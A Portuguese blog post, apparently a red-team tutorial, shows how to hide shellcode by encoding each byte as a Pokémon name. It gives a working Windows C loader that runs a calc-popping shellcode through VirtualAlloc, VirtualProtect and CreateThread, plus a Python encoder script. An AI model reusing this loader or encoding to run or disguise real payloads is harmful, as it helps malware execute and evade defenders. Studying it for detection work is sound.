
Cansado de olhar para hex o dia todo e ver '\x41's? Prefere olhar para Lugia/Charmander? Tenho a solução para você.
Cansado de olhar para hex o dia todo e soltar '\x41's? Prefere olhar para Lugia/Charmander? Tenho a solução para você. Um tweet do @Checkymander falava sobre criar um loader de shellcode a partir de nomes de Pokémon. Ótimo projeto divertido para provocar o time azul, mas não havia um POC! (ou pelo menos quando verifiquei pela última vez)
Nota #1 O código atualizado estará no meu GitHub: https://github.com/Techryptic/Pokemon-Shellcode-Loader
Nota #2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode
Nota #3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
Há várias maneiras de fazer isso: Se observarmos um shellcode, ele é uma série de hexadecimais de 0x00-0xFF, ou na forma decimal de 0-256. Acontece que há muito mais que 256 Pokémon para escolher.
Observando a tabela de Pokémon acima, podemos traduzir BULBASAUR, que é o #001, para 0x01 (removendo o primeiro zero). Da mesma forma, CHARMANDER será representado por 0x04 e assim por diante. O sortudo byte nulo 0x00 pode ser alinhado ao Pokémon #257, BLAZIKEN!
Converter shellcode em Pokemon-Shellcode é simples. Que tal converter Pokemon-Shellcode em Assembly?! Queremos ter um Array dentro do .ASM? Código C? Baixá-lo externamente?
Muitas direções possíveis!
Precisamos de dados. Primeiro, encontrei duas áreas que contêm tanto o número do Pokémon quanto o seu nome:
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
E outra que só tem o nome do Pokémon. Essa pode ser mais útil, pois podemos obter a posição do índice no array para um Pokémon específico sem carregar uma string longa.
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
Estou pegando um shellcode POP CALC comum e jogando um pouco de C nele.
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
Nada mal. Não está fazendo nada malicioso, mas mesmo assim... nada mal.
Um script simples converte um objeto de bytes de shellcode no Pokémon Shellcode.
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
Pegando o shellcode acima:
\x00\x31\xc0\x50\x68\x2f\x2F
Converte para:
Curiosidade: eu queria manter o nome do Pokémon alinhado ao seu número (BULBASAUR = #1, ou 0x01), então precisava preencher o 0x00/byte nulo com alguma coisa. O que combina melhor do que MISSINGNO?!
Outro problema é que o Pokémon Farfetch'd tem um apóstrofo, como mostrado abaixo. A correção fácil é apenas removê-lo e chamá-lo de: Farfetchd
Por fim, também há dois Pokémon que ficam com o mesmo nome depois que você remove os símbolos; a correção para esses dois foi adicionar um F (para fêmea) e, para o outro, adicionar um M (para macho).